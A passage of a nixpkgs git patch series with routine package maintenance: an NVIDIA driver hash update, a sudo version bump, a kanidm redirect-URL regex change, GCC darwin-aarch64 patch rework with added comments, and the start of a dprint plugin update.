-    openSha256 = "sha256-ey96oMbY32ahcHSOj1+MykvJrep6mhHPVl+V8+B2ZDk=";
-    settingsSha256 = "sha256-9PgaYJbP1s7hmKCYmkuLQ58nkTruhFdHAs4W84KQVME=";
-    persistencedSha256 = "sha256-ckF/BgDA6xSFqFk07rn3HqXuR0iGfwA4PRxpP38QZgw=";
+    version = "535.261.03";
+    sha256_64bit = "sha256-10th0R6cm5BS9AQtbsRDfxPR3vMOlk4jLUfl1lnRHWg=";
+    sha256_aarch64 = "sha256-mkEtOsAcmdLKAhAKcTlZf86IBMUr9TPRG2BDcoaDSpM=";
+    openSha256 = "sha256-qUn0Kk9t6TZA6ZmUSPzqclOsU6n4Tp4dXkgGa1ZF+OA=";
+    settingsSha256 = "sha256-E05oCGuMdE3KhVrDl2ZQspaPqPHoVSwdaftoPKItYTE";
+    persistencedSha256 = "sha256-pnOq9+6l3BbIEKHboGeTwEcEcYhtESzmroUfCahqn0U=";
   };
 
   # Last one supporting Kepler architecture

From 33cb0b9a2184fb04c6f251df60d11e5597d32493 Mon Sep 17 00:00:00 2001
From: Thomas Gerbet <thomas@gerbet.me>
Date: Tue, 29 Jul 2025 23:24:42 +0200
Subject: [PATCH 3011/4511] sudo: 1.9.17p1 -> 1.9.17p2

Changes:
https://www.sudo.ws/releases/stable/#1.9.17p2
(cherry picked from commit a3a0962f23f7e6a1eb9860519b7fcea2ede4168f)
---
 nixos/modules/security/sudo.nix  | 2 +-
 pkgs/by-name/su/sudo/package.nix | 4 ++--
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/security/sudo.nix b/nixos/modules/security/sudo.nix
index f68d31c5a577..150dd963d106 100644
--- a/nixos/modules/security/sudo.nix
+++ b/nixos/modules/security/sudo.nix
@@ -192,7 +192,7 @@ in
                             "NOINTERCEPT"
                           ]);
                         description = ''
-                          Options for running the command. Refer to the [sudo manual](https://www.sudo.ws/docs/man/1.9.15/sudoers.man/#Tag_Spec).
+                          Options for running the command. Refer to the [sudo manual](https://www.sudo.ws/docs/man/1.9.17/sudoers.man/#Tag_Spec).
                         '';
                         default = [ ];
                       };
diff --git a/pkgs/by-name/su/sudo/package.nix b/pkgs/by-name/su/sudo/package.nix
index 283f1bd17459..2241f417315c 100644
--- a/pkgs/by-name/su/sudo/package.nix
+++ b/pkgs/by-name/su/sudo/package.nix
@@ -17,13 +17,13 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "sudo";
   # be sure to check if nixos/modules/security/sudo.nix needs updating when bumping
   # e.g. links to man pages, value constraints etc.
-  version = "1.9.17p1";
+  version = "1.9.17p2";
 
   __structuredAttrs = true;
 
   src = fetchurl {
     url = "https://www.sudo.ws/dist/sudo-${finalAttrs.version}.tar.gz";
-    hash = "sha256-/2B+pxcHIZdzinj3eGks1t+afj5ARWX1HeBjyidFXTI=";
+    hash = "sha256-SjihqzrbEZklftwqfEor1xRmXrYFsENohDsG2tos/Ps=";
   };
 
   prePatch = ''

From 4fd3a59d8aec2367b6fb6f0b1c4b3839b87a4a80 Mon Sep 17 00:00:00 2001
From: Marc Plano-Lesay <kernald@enoent.fr>
Date: Fri, 25 Jul 2025 22:41:26 +1000
Subject: [PATCH 3012/4511] nixos/kanidm: accept originUrls following rfc8252
 (#428204)

(cherry picked from commit 0d25584641be0de922df034fc12c045ea6b90393)
---
 nixos/modules/services/security/kanidm.nix | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/nixos/modules/services/security/kanidm.nix b/nixos/modules/services/security/kanidm.nix
index cf076e826640..970fbbfbb182 100644
--- a/nixos/modules/services/security/kanidm.nix
+++ b/nixos/modules/services/security/kanidm.nix
@@ -548,7 +548,7 @@ in
                 description = "The redirect URL of the service. These need to exactly match the OAuth2 redirect target";
                 type =
                   let
-                    originStrType = types.strMatching ".*://.*$";
+                    originStrType = types.strMatching ".*://?.*$";
                   in
                   types.either originStrType (types.nonEmptyListOf originStrType);
                 example = "https://someservice.example.com/auth/login";

From a74839cb138cd6e2308278cab4191f63c4a921e4 Mon Sep 17 00:00:00 2001
From: Leona Maroni <dev@leona.is>
Date: Sun, 1 Jun 2025 18:31:52 +0200
Subject: [PATCH 3013/4511] gcc14: fix build on aarch64-darwin

The previous patch didn't apply anymore for 14.3.0.
Currently there is no branch for 14.3.0 in https://github.com/iains/gcc-14-branch
nor in homebrew. This lead me to use the -pre branch with a custom target.

(cherry picked from commit 051793402076378f15ca4e3c2735d5b2bca95ffd)
---
 .../fixup-gcc-14-darwin-aarch64-support.patch | 181 ------------------
 .../compilers/gcc/patches/default.nix         |  17 +-
 2 files changed, 5 insertions(+), 193 deletions(-)
 delete mode 100644 pkgs/development/compilers/gcc/patches/14/fixup-gcc-14-darwin-aarch64-support.patch

diff --git a/pkgs/development/compilers/gcc/patches/14/fixup-gcc-14-darwin-aarch64-support.patch b/pkgs/development/compilers/gcc/patches/14/fixup-gcc-14-darwin-aarch64-support.patch
deleted file mode 100644
index 58bd60362650..000000000000
--- a/pkgs/development/compilers/gcc/patches/14/fixup-gcc-14-darwin-aarch64-support.patch
+++ /dev/null
@@ -1,181 +0,0 @@
-This patch was produced by manually merging:
-
-* <https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=74bfca7360910ae640c2c9c362fe9a4c0ebcc3ba>
-* <https://github.com/iains/gcc-14-branch/tree/gcc-14.2-darwin-r2>
-
-and then taking the diff between the result and the upstream GCC
-commit, and excerpting only the files that have conflicts when
-naively applying the branch’s diff to the snapshot. (This is
-more files than the two that actually needed manual merge work –
-`gcc/config/aarch64/aarch64-tune.md` and `libgcc/config.host` –
-because `patch(1)` can’t do a three‐way merge using ancestor
-information.)
-
-diff --git a/gcc/config/aarch64/aarch64-tune.md b/gcc/config/aarch64/aarch64-tune.md
-index 35b27ddb88..8ce2a93168 100644
---- a/gcc/config/aarch64/aarch64-tune.md
-+++ b/gcc/config/aarch64/aarch64-tune.md
-@@ -1,5 +1,5 @@
- ;; -*- buffer-read-only: t -*-
- ;; Generated automatically by gentune.sh from aarch64-cores.def
- (define_attr "tune"
--	"cortexa34,cortexa35,cortexa53,cortexa57,cortexa72,cortexa73,thunderx,thunderxt88p1,thunderxt88,octeontx,octeontxt81,octeontxt83,thunderxt81,thunderxt83,ampere1,ampere1a,ampere1b,emag,xgene1,falkor,qdf24xx,exynosm1,phecda,thunderx2t99p1,vulcan,thunderx2t99,cortexa55,cortexa75,cortexa76,cortexa76ae,cortexa77,cortexa78,cortexa78ae,cortexa78c,cortexa65,cortexa65ae,cortexx1,cortexx1c,neoversen1,ares,neoversee1,octeontx2,octeontx2t98,octeontx2t96,octeontx2t93,octeontx2f95,octeontx2f95n,octeontx2f95mm,a64fx,fujitsu_monaka,tsv110,thunderx3t110,neoversev1,zeus,neoverse512tvb,saphira,cortexa57cortexa53,cortexa72cortexa53,cortexa73cortexa35,cortexa73cortexa53,cortexa75cortexa55,cortexa76cortexa55,cortexr82,cortexa510,cortexa520,cortexa710,cortexa715,cortexa720,cortexa725,cortexx2,cortexx3,cortexx4,cortexx925,neoversen2,cobalt100,neoversen3,neoversev2,grace,neoversev3,neoversev3ae,demeter,generic,generic_armv8_a,generic_armv9_a"
-+	"cortexa34,cortexa35,cortexa53,cortexa57,cortexa72,cortexa73,thunderx,thunderxt88p1,thunderxt88,octeontx,octeontxt81,octeontxt83,thunderxt81,thunderxt83,ampere1,ampere1a,ampere1b,emag,xgene1,falkor,qdf24xx,exynosm1,phecda,thunderx2t99p1,vulcan,thunderx2t99,cortexa55,cortexa75,cortexa76,cortexa76ae,cortexa77,cortexa78,cortexa78ae,cortexa78c,cortexa65,cortexa65ae,cortexx1,cortexx1c,neoversen1,ares,neoversee1,octeontx2,octeontx2t98,octeontx2t96,octeontx2t93,octeontx2f95,octeontx2f95n,octeontx2f95mm,a64fx,fujitsu_monaka,tsv110,thunderx3t110,neoversev1,zeus,neoverse512tvb,saphira,cortexa57cortexa53,cortexa72cortexa53,cortexa73cortexa35,cortexa73cortexa53,cortexa75cortexa55,cortexa76cortexa55,cortexr82,applea12,applem1,applem2,applem3,cortexa510,cortexa520,cortexa710,cortexa715,cortexa720,cortexa725,cortexx2,cortexx3,cortexx4,cortexx925,neoversen2,cobalt100,neoversen3,neoversev2,grace,neoversev3,neoversev3ae,demeter,generic,generic_armv8_a,generic_armv9_a"
- 	(const (symbol_ref "((enum attr_tune) aarch64_tune)")))
-diff --git a/gcc/config/darwin.h b/gcc/config/darwin.h
-index 0d8886c026..5370511bec 100644
---- a/gcc/config/darwin.h
-+++ b/gcc/config/darwin.h
-@@ -42,6 +42,7 @@
- 
- #define DARWIN_X86 0
- #define DARWIN_PPC 0
-+#define DARWIN_ARM64 0
- 
- #define OBJECT_FORMAT_MACHO 1
- 
-@@ -373,7 +374,8 @@
- */
- 
- #define DARWIN_NOCOMPACT_UNWIND \
--" %:version-compare(>= 10.6 mmacosx-version-min= -no_compact_unwind) "
-+"%{!fuse-ld=lld: \
-+    %:version-compare(>= 10.6 mmacosx-version-min= -no_compact_unwind)}"
- 
- /* In Darwin linker specs we can put -lcrt0.o and ld will search the library
-    path for crt0.o or -lcrtx.a and it will search for libcrtx.a.  As for
-@@ -397,7 +399,8 @@
-     LINK_PLUGIN_SPEC \
-     "%{flto*:%<fcompare-debug*} \
-      %{flto} %{fno-lto} %{flto=*} \
--    %l " \
-+     %l \
-+     %{fuse-ld=*:-fuse-ld=%*} " \
-     DARWIN_PLATFORM_ID \
-     LINK_COMPRESS_DEBUG_SPEC \
-    "%X %{s} %{t} %{Z} %{u*} \
-@@ -979,7 +982,12 @@
-   { "apple_kext_compatibility", 0, 0, false, true, false, false,	     \
-     darwin_handle_kext_attribute, NULL },				     \
-   { "weak_import", 0, 0, true, false, false, false,			     \
--    darwin_handle_weak_import_attribute, NULL }
-+    darwin_handle_weak_import_attribute, NULL },			     \
-+  { "availability", 0, -1, true, false, false, false,			     \
-+    darwin_handle_availability_attribute, NULL }
-+
-+#undef TARGET_ATTRIBUTE_TAKES_IDENTIFIER_P
-+#define TARGET_ATTRIBUTE_TAKES_IDENTIFIER_P darwin_attribute_takes_identifier_p
- 
- /* Make local constant labels linker-visible, so that if one follows a
-    weak_global constant, ld64 will be able to separate the atoms.  */
-@@ -1227,6 +1235,10 @@
- #define TARGET_N_FORMAT_TYPES 1
- #define TARGET_FORMAT_TYPES darwin_additional_format_types
- 
-+/* We want __builtin_unreachable to be expanded as a trap instruction.  */
-+#undef TARGET_UNREACHABLE_SHOULD_TRAP
-+#define TARGET_UNREACHABLE_SHOULD_TRAP darwin_unreachable_traps_p
-+
- #ifndef USED_FOR_TARGET
- extern void darwin_driver_init (unsigned int *,struct cl_decoded_option **);
- #define GCC_DRIVER_HOST_INITIALIZATION \
-diff --git a/libgcc/config.host b/libgcc/config.host
-index 7332903704..ae4c91dee3 100644
---- a/libgcc/config.host
-+++ b/libgcc/config.host
-@@ -82,7 +82,7 @@
-         cpu_type=m32c
- 	tmake_file=t-fdpbit
-         ;;
--aarch64*-*-*)
-+aarch64*-*-* | arm64*-*-*)
- 	cpu_type=aarch64
- 	;;
- alpha*-*-*)
-@@ -236,22 +236,25 @@
-   esac
-   tmake_file="$tmake_file t-slibgcc-darwin"
-   case ${host} in
-+    x86_64-*-darwin2[0-2]*)
-+      tmake_file="t-darwin-min-11 t-darwin-libgccs1 $tmake_file"
-+      ;;
-     *-*-darwin2*)
-       tmake_file="t-darwin-min-11 $tmake_file"
-       ;;
-     *-*-darwin1[89]*)
--      tmake_file="t-darwin-min-8 $tmake_file"
-+      tmake_file="t-darwin-min-8 t-darwin-libgccs1 $tmake_file"
-       ;;
-     *-*-darwin9* | *-*-darwin1[0-7]*)
--      tmake_file="t-darwin-min-5 $tmake_file"
-+      tmake_file="t-darwin-min-5 t-darwin-libgccs1 $tmake_file"
-       ;;
-     *-*-darwin[4-8]*)
--      tmake_file="t-darwin-min-1 $tmake_file"
-+      tmake_file="t-darwin-min-1 t-darwin-libgccs1 $tmake_file"
-       ;;
-     *)
-       # Fall back to configuring for the oldest system known to work with
-       # all archs and the current sources.
--      tmake_file="t-darwin-min-5 $tmake_file"
-+      tmake_file="t-darwin-min-5 t-darwin-libgccs1 $tmake_file"
-       echo "Warning: libgcc configured to support macOS 10.5" 1>&2
-       ;;
-   esac
-@@ -277,7 +280,7 @@
-   if test "x$enable_darwin_at_rpath" = "xyes"; then
-     tmake_file="$tmake_file t-darwin-rpath "
-   fi
--  extra_parts="crt3.o libd10-uwfef.a crttms.o crttme.o libemutls_w.a"
-+  extra_parts="crt3.o crttms.o crttme.o libemutls_w.a "
-   ;;
- *-*-dragonfly*)
-   tmake_file="$tmake_file t-crtstuff-pic t-libgcc-pic t-eh-dw2-dip"
-@@ -421,6 +424,15 @@
- 	tmake_file="${tmake_file} t-dfprules"
- 	md_unwind_header=aarch64/aarch64-unwind.h
- 	;;
-+aarch64*-*-darwin*)
-+	extra_parts="$extra_parts crtfastmath.o libheapt_w.a"
-+	tmake_file="${tmake_file} ${cpu_type}/t-aarch64"
-+	tmake_file="${tmake_file} ${cpu_type}/t-lse"
-+	tmake_file="${tmake_file} t-crtfm t-dfprules"
-+	tmake_file="${tmake_file} ${cpu_type}/t-softfp t-softfp"
-+	tmake_file="${tmake_file} ${cpu_type}/t-heap-trampoline"
-+	md_unwind_header=aarch64/aarch64-unwind.h
-+	;;
- aarch64*-*-freebsd*)
- 	extra_parts="$extra_parts crtfastmath.o"
- 	tmake_file="${tmake_file} ${cpu_type}/t-aarch64"
-@@ -728,14 +740,14 @@
- 	tmake_file="$tmake_file i386/t-crtpc t-crtfm i386/t-msabi"
- 	tm_file="$tm_file i386/darwin-lib.h"
- 	extra_parts="$extra_parts crtprec32.o crtprec64.o crtprec80.o"
--	extra_parts="$extra_parts crtfastmath.o libheapt_w.a"
-+	extra_parts="$extra_parts crtfastmath.o libd10-uwfef.a libheapt_w.a"
- 	tmake_file="${tmake_file} i386/t-heap-trampoline"
- 	;;
- x86_64-*-darwin*)
- 	tmake_file="$tmake_file i386/t-crtpc t-crtfm i386/t-msabi"
- 	tm_file="$tm_file i386/darwin-lib.h"
- 	extra_parts="$extra_parts crtprec32.o crtprec64.o crtprec80.o"
--	extra_parts="$extra_parts crtfastmath.o libheapt_w.a"
-+	extra_parts="$extra_parts crtfastmath.o libd10-uwfef.a libheapt_w.a"
- 	tmake_file="${tmake_file} i386/t-heap-trampoline"
- 	;;
- i[34567]86-*-elfiamcu)
-@@ -1218,12 +1230,14 @@
- 	# We build the darwin10 EH shim for Rosetta (running on x86 machines).
- 	tm_file="$tm_file i386/darwin-lib.h"
- 	tmake_file="$tmake_file rs6000/t-ppc64-fp rs6000/t-ibm-ldouble"
-+	extra_parts="$extra_parts libd10-uwfef.a "
- 	extra_parts="$extra_parts crt2.o crt3_2.o libef_ppc.a dw_ppc.o"
- 	;;
- powerpc64-*-darwin*)
- 	# We build the darwin10 EH shim for Rosetta (running on x86 machines).
- 	tm_file="$tm_file i386/darwin-lib.h"
- 	tmake_file="$tmake_file rs6000/t-darwin64 rs6000/t-ibm-ldouble"
-+	extra_parts="$extra_parts libd10-uwfef.a "
- 	extra_parts="$extra_parts crt2.o crt3_2.o libef_ppc.a dw_ppc.o"
- 	;;
- powerpc*-*-freebsd*)
diff --git a/pkgs/development/compilers/gcc/patches/default.nix b/pkgs/development/compilers/gcc/patches/default.nix
index bb68f2cc4146..0d6a9c66808d 100644
--- a/pkgs/development/compilers/gcc/patches/default.nix
+++ b/pkgs/development/compilers/gcc/patches/default.nix
@@ -185,20 +185,13 @@ in
     ];
     "14" = [
       (fetchpatch {
+        # There are no upstream release tags nor a static branch for 14.3.0 in https://github.com/iains/gcc-14-branch.
+        # aa4cd614456de65ee3417acb83c6cff0640144e9 is the merge base of https://github.com/iains/gcc-14-branch/tree/gcc-14-3-darwin-pre-0 and https://github.com/gcc-mirror/gcc/releases/tag/releases%2Fgcc-14.3.0
+        # 3e1d48d240f4aa5223c701b5c231c66f66ab1126 is the newest commit of https://github.com/iains/gcc-14-branch/tree/gcc-14-3-darwin-pre-0
         name = "gcc-14-darwin-aarch64-support.patch";
-        url = "https://raw.githubusercontent.com/Homebrew/formula-patches/41fdb9d5ec21fc8165cd4bee89bd23d0c90572ee/gcc/gcc-14.2.0-r2.diff";
-        # The patch is based on 14.2.0, but we use a GCC snapshot. We
-        # exclude the files with conflicts and apply our own merged patch
-        # to avoid vendoring the entire huge patch in‐tree.
-        excludes = [
-          "gcc/config/aarch64/aarch64-tune.md"
-          "gcc/config/darwin.h"
-          "libgcc/config.host"
-          "libgcc/config/t-darwin-min-11"
-        ];
-        hash = "sha256-E4zEKm4tMhovOJKc1/FXZCLQvA+Jt5SC0O2C6SEvZjI=";
+        url = "https://github.com/iains/gcc-14-branch/compare/aa4cd614456de65ee3417acb83c6cff0640144e9..3e1d48d240f4aa5223c701b5c231c66f66ab1126.diff";
+        hash = "sha256-BSTSYnkBJBEm++mGerVVyaCUC4dUyXq0N1tqbk25bO4=";
       })
-      ./14/fixup-gcc-14-darwin-aarch64-support.patch
     ];
     "13" = [
       (fetchpatch {

From 46a43cb74c964fa125e2aef04eb9ed838b3a2921 Mon Sep 17 00:00:00 2001
From: Silvan Mosberger <silvan.mosberger@moduscreate.com>
Date: Tue, 3 Jun 2025 15:56:03 +0200
Subject: [PATCH 3014/4511] gcc: Add missing patch comments

Co-authored-by: Alexander Bantyev <alexander.bantyev@moduscreate.com>
(cherry picked from commit a9d7c5ee5fcdeaa8dfaff6154beb6d60e0d0730c)
---
 .../compilers/gcc/patches/default.nix         | 59 ++++++++++++++++++-
 1 file changed, 57 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/compilers/gcc/patches/default.nix b/pkgs/development/compilers/gcc/patches/default.nix
index 0d6a9c66808d..6654e47ba195 100644
--- a/pkgs/development/compilers/gcc/patches/default.nix
+++ b/pkgs/development/compilers/gcc/patches/default.nix
@@ -64,13 +64,19 @@ in
 
 [ ]
 ++ optional (!atLeast12) ./fix-bug-80431.patch
+# Pass the path to a C++ compiler directly in the Makefile.in
 ++ optional (!lib.systems.equals targetPlatform hostPlatform) ./libstdc++-target.patch
 ++ optionals (noSysDirs) (
-  [ (if atLeast12 then ./gcc-12-no-sys-dirs.patch else ./no-sys-dirs.patch) ]
+  [
+    # Do not try looking for binaries and libraries in /lib and /usr/lib
+    (if atLeast12 then ./gcc-12-no-sys-dirs.patch else ./no-sys-dirs.patch)
+  ]
   ++ (
     {
       "15" = [
+        # Do not try looking for binaries and libraries in /lib and /usr/lib
         ./13/no-sys-dirs-riscv.patch
+        # Mangle the nix store hash in __FILE__ to prevent unneeded runtime references
         ./13/mangle-NIX_STORE-in-__FILE__.patch
       ];
       "14" = [
@@ -92,12 +98,25 @@ in
     ."${majorVersion}" or [ ]
   )
 )
+# Pass CFLAGS on to gnat
 ++ optional (atLeast12 && langAda) ./gnat-cflags-11.patch
 ++ optional langFortran (
+  # Fix interaction of gfortran and libtool
+  # Fixes the output of -v
+  # See also https://github.com/nixOS/nixpkgs/commit/cc6f814a8f0e9b70ede5b24192558664fa1f98a2
   if atLeast12 then ./gcc-12-gfortran-driving.patch else ./gfortran-driving.patch
 )
+# Do not pass a default include dir on PowerPC+Musl
+# See https://github.com/NixOS/nixpkgs/pull/45340/commits/d6bb7d45162ac93e017cc9b665ae4836f6410710
 ++ [ ./ppc-musl.patch ]
+# Patches for libphobos, the standard library of the D language
+# - Forces libphobos to be built with -j1, as libtool misbehaves in parallel
+# - Gets rid of -idirafter flags added by our gcc wrappers, as gdc does not understand them
+# See https://github.com/NixOS/nixpkgs/pull/69144#issuecomment-535176453
 ++ optional langD ./libphobos.patch
+# Moves the .cfi_starproc instruction to after the function label
+# Needed to build llvm-18 and later
+# See https://github.com/NixOS/nixpkgs/pull/354107/commits/2de1b4b14e17f42ba8b4bf43a29347c91511e008
 ++ optional (!atLeast14) ./cfi_startproc-reorder-label-09-1.diff
 ++ optional (atLeast14 && !canApplyIainsDarwinPatches) ./cfi_startproc-reorder-label-14-1.diff
 
@@ -107,36 +126,54 @@ in
 
 # backport fixes to build gccgo with musl libc
 ++ optionals (stdenv.hostPlatform.isMusl && langGo && atLeast12) [
+  # libgo: handle stat st_atim32 field and SYS_SECCOMP
+  # syscall: gofmt
+  # Add blank lines after //sys comments where needed, and then run gofmt
+  # on the syscall package with the new formatter.
+  # See https://go-review.googlesource.com/c/gofrontend/+/412074
   (fetchpatch {
     excludes = [ "gcc/go/gofrontend/MERGE" ];
     url = "https://github.com/gcc-mirror/gcc/commit/cf79b1117bd177d3d4c6ed24b6fa243c3628ac2d.diff";
     hash = "sha256-mS5ZiYi5D8CpGXrWg3tXlbhp4o86ew1imCTwaHLfl+I=";
   })
+  # libgo: permit loff_t and off_t to be macros
+  # See https://go-review.googlesource.com/c/gofrontend/+/412075
   (fetchpatch {
     excludes = [ "gcc/go/gofrontend/MERGE" ];
     url = "https://github.com/gcc-mirror/gcc/commit/7f195a2270910a6ed08bd76e3a16b0a6503f9faf.diff";
     hash = "sha256-Ze/cFM0dQofKH00PWPDoklXUlwWhwA1nyTuiDAZ6FKo=";
   })
+  # libgo: handle stat st_atim32 field and SYS_SECCOMP
+  # See https://go-review.googlesource.com/c/gofrontend/+/415294
   (fetchpatch {
     excludes = [ "gcc/go/gofrontend/MERGE" ];
     url = "https://github.com/gcc-mirror/gcc/commit/762fd5e5547e464e25b4bee435db6df4eda0de90.diff";
     hash = "sha256-o28upwTcHAnHG2Iq0OewzwSBEhHs+XpBGdIfZdT81pk=";
   })
+  # runtime: portable access to sigev_notify_thread_id
+  # See https://sourceware.org/bugzilla/show_bug.cgi?id=27417
+  # See https://go-review.googlesource.com/c/gofrontend/+/434755
   (fetchpatch {
     excludes = [ "gcc/go/gofrontend/MERGE" ];
     url = "https://github.com/gcc-mirror/gcc/commit/e73d9fcafbd07bc3714fbaf8a82db71d50015c92.diff";
     hash = "sha256-1SjYCVHLEUihdON2TOC3Z2ufM+jf2vH0LvYtZL+c1Fo=";
   })
+  # syscall, runtime: always call XSI strerror_r
+  # See https://go-review.googlesource.com/c/gofrontend/+/454176
   (fetchpatch {
     excludes = [ "gcc/go/gofrontend/MERGE" ];
     url = "https://github.com/gcc-mirror/gcc/commit/b6c6a3d64f2e4e9347733290aca3c75898c44b2e.diff";
     hash = "sha256-RycJ3YCHd3MXtYFjxP0zY2Wuw7/C4bWoBAQtTKJZPOQ=";
   })
+  # libgo: check for makecontext in -lucontext
+  # See https://go-review.googlesource.com/c/gofrontend/+/458396
   (fetchpatch {
     excludes = [ "gcc/go/gofrontend/MERGE" ];
     url = "https://github.com/gcc-mirror/gcc/commit/2b1a604a9b28fbf4f382060bebd04adb83acc2f9.diff";
     hash = "sha256-WiBQG0Xbk75rHk+AMDvsbrm+dc7lDH0EONJXSdEeMGE=";
   })
+  # x86: Fix -fsplit-stack feature detection via  TARGET_CAN_SPLIT_STACK
+  # Fixes compiling for non-glibc target
   (fetchpatch {
     url = "https://github.com/gcc-mirror/gcc/commit/c86b726c048eddc1be320c0bf64a897658bee13d.diff";
     hash = "sha256-QSIlqDB6JRQhbj/c3ejlmbfWz9l9FurdSWxpwDebnlI=";
@@ -174,9 +211,13 @@ in
   .${majorVersion} or [ ]
 )
 
+# Here we apply patches by Iains (https://github.com/iains)
+# GitHub's "compare" API produces unstable diffs, so we resort to reusing
+# diffs from the Homebrew repo.
 ++ optionals canApplyIainsDarwinPatches (
   {
     "15" = [
+      # Patches from https://github.com/iains/gcc-15-branch/compare/releases/gcc-15..gcc-15.1-darwin-rc1
       (fetchpatch {
         name = "gcc-15-darwin-aarch64-support.patch";
         url = "https://raw.githubusercontent.com/Homebrew/formula-patches/a25079204c1cb3d78ba9dd7dd22b8aecce7ce264/gcc/gcc-15.1.0.diff";
@@ -184,6 +225,7 @@ in
       })
     ];
     "14" = [
+      # Patches from https://github.com/iains/gcc-14-branch/compare/04696df09633baf97cdbbdd6e9929b9d472161d3..gcc-14.2-darwin-r2
       (fetchpatch {
         # There are no upstream release tags nor a static branch for 14.3.0 in https://github.com/iains/gcc-14-branch.
         # aa4cd614456de65ee3417acb83c6cff0640144e9 is the merge base of https://github.com/iains/gcc-14-branch/tree/gcc-14-3-darwin-pre-0 and https://github.com/gcc-mirror/gcc/releases/tag/releases%2Fgcc-14.3.0
@@ -193,20 +235,24 @@ in
         hash = "sha256-BSTSYnkBJBEm++mGerVVyaCUC4dUyXq0N1tqbk25bO4=";
       })
     ];
+    # Patches from https://github.com/iains/gcc-13-branch/compare/b71f1de6e9cf7181a288c0f39f9b1ef6580cf5c8..gcc-13-3-darwin
     "13" = [
       (fetchpatch {
         name = "gcc-13-darwin-aarch64-support.patch";
         url = "https://raw.githubusercontent.com/Homebrew/formula-patches/bda0faddfbfb392e7b9c9101056b2c5ab2500508/gcc/gcc-13.3.0.diff";
         sha256 = "sha256-RBTCBXIveGwuQGJLzMW/UexpUZdDgdXprp/G2NHkmQo=";
       })
+      # Needed to build LLVM>18
       ./cfi_startproc-reorder-label-2.diff
     ];
+    # Patches from https://github.com/iains/gcc-12-branch/compare/2bada4bc59bed4be34fab463bdb3c3ebfd2b41bb..gcc-12-4-darwin
     "12" = [
       (fetchurl {
         name = "gcc-12-darwin-aarch64-support.patch";
         url = "https://raw.githubusercontent.com/Homebrew/formula-patches/1ed9eaea059f1677d27382c62f21462b476b37fe/gcc/gcc-12.4.0.diff";
         sha256 = "sha256-wOjpT79lps4TKG5/E761odhLGCphBIkCbOPiQg/D1Fw=";
       })
+      # Needed to build LLVM>18
       ./cfi_startproc-reorder-label-2.diff
     ];
     "11" = [
@@ -216,6 +262,7 @@ in
         url = "https://github.com/iains/gcc-11-branch/compare/5cc4c42a0d4de08715c2eef8715ad5b2e92a23b6..gcc-11.5-darwin-r0.diff";
         hash = "sha256-7lH+GkgkrE6nOp9PMdIoqlQNWK31s6oW+lDt1LIkadE=";
       })
+      # Needed to build LLVM>18
       ./cfi_startproc-reorder-label-2.diff
     ];
     "10" = [
@@ -225,6 +272,7 @@ in
         url = "https://github.com/iains/gcc-10-branch/compare/d04fe5541c53cb16d1ca5c80da044b4c7633dbc6...gcc-10-5Dr0-pre-0.diff";
         hash = "sha256-kVUHZKtYqkWIcqxHG7yAOR2B60w4KWLoxzaiFD/FWYk=";
       })
+      # Needed to build LLVM>18
       ./cfi_startproc-reorder-label-2.diff
     ];
   }
@@ -241,7 +289,8 @@ in
 
 ## Windows
 
-# Obtain latest patch with ../update-mcfgthread-patches.sh
+# Backported mcf thread model support from gcc13:
+# https://github.com/gcc-mirror/gcc/commit/f036d759ecee538555fa8c6b11963e4033732463
 ++ optional (
   !atLeast13 && !withoutTargetLibc && targetPlatform.isMinGW && threadsCross.model == "mcf"
 ) (./. + "/${majorVersion}/Added-mcf-thread-model-support-from-mcfgthread.patch")
@@ -263,8 +312,11 @@ in
 
 ## gcc 10.0 and older ##############################################################################
 
+# Probably needed for gnat wrapper https://github.com/NixOS/nixpkgs/pull/62314
 ++ optional (langAda && (is9 || is10)) ./gnat-cflags.patch
 ++
+  # Backport native aarch64-darwin compilation fix from gcc12
+  # https://github.com/NixOS/nixpkgs/pull/167595
   optional
     (
       is10
@@ -284,6 +336,9 @@ in
 ## gcc 9.0 and older ##############################################################################
 
 ++ optional (majorVersion == "9") ./9/fix-struct-redefinition-on-glibc-2.36.patch
+# Needed for NetBSD cross comp in older versions
+# https://gcc.gnu.org/pipermail/gcc-patches/2020-January/thread.html#537548
+# https://gcc.gnu.org/git/?p=gcc.git;a=commit;h=98d56ea8900fdcff8f1987cf2bf499a5b7399857
 ++ optional (!atLeast10 && targetPlatform.isNetBSD) ./libstdc++-netbsd-ctypes.patch
 
 # Make Darwin bootstrap respect whether the assembler supports `--gstabs`,

From 3de8ddc5584db0fb44b3ea89490108b3caa5433e Mon Sep 17 00:00:00 2001
From: Silvan Mosberger <silvan.mosberger@moduscreate.com>
Date: Tue, 3 Jun 2025 15:57:59 +0200
Subject: [PATCH 3015/4511] gcc: Switch a patch to the upstream source

Same exact patch, just from upstream instead

(cherry picked from commit 16368883496f90804c442b9f75d2eb261b2bcab8)
---
 pkgs/development/compilers/gcc/patches/default.nix | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/pkgs/development/compilers/gcc/patches/default.nix b/pkgs/development/compilers/gcc/patches/default.nix
index 6654e47ba195..b2f1d1ba68d2 100644
--- a/pkgs/development/compilers/gcc/patches/default.nix
+++ b/pkgs/development/compilers/gcc/patches/default.nix
@@ -324,7 +324,8 @@ in
       && (!lib.systems.equals targetPlatform buildPlatform)
     )
     (fetchpatch {
-      url = "https://raw.githubusercontent.com/richard-vd/musl-cross-make/5e9e87f06fc3220e102c29d3413fbbffa456fcd6/patches/gcc-${version}/0008-darwin-aarch64-self-host-driver.patch";
+      name = "0008-darwin-aarch64-self-host-driver.patch";
+      url = "https://github.com/gcc-mirror/gcc/commit/834c8749ced550af3f17ebae4072fb7dfb90d271.diff";
       sha256 = "sha256-XtykrPd5h/tsnjY1wGjzSOJ+AyyNLsfnjuOZ5Ryq9vA=";
     })
 

From 118bb7c06b85cd13908418428691d976b0a32e4c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 24 Jun 2025 12:35:52 +0000
Subject: [PATCH 3016/4511] dprint-plugins.dprint-plugin-typescript: 0.95.7 ->
 0.95.8

(cherry picked from commit a9ceeb720d523756d341e8d3aca045fcf8c0c843)
---
 pkgs/by-name/dp/dprint/plugins/dprint-plugin-typescript.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

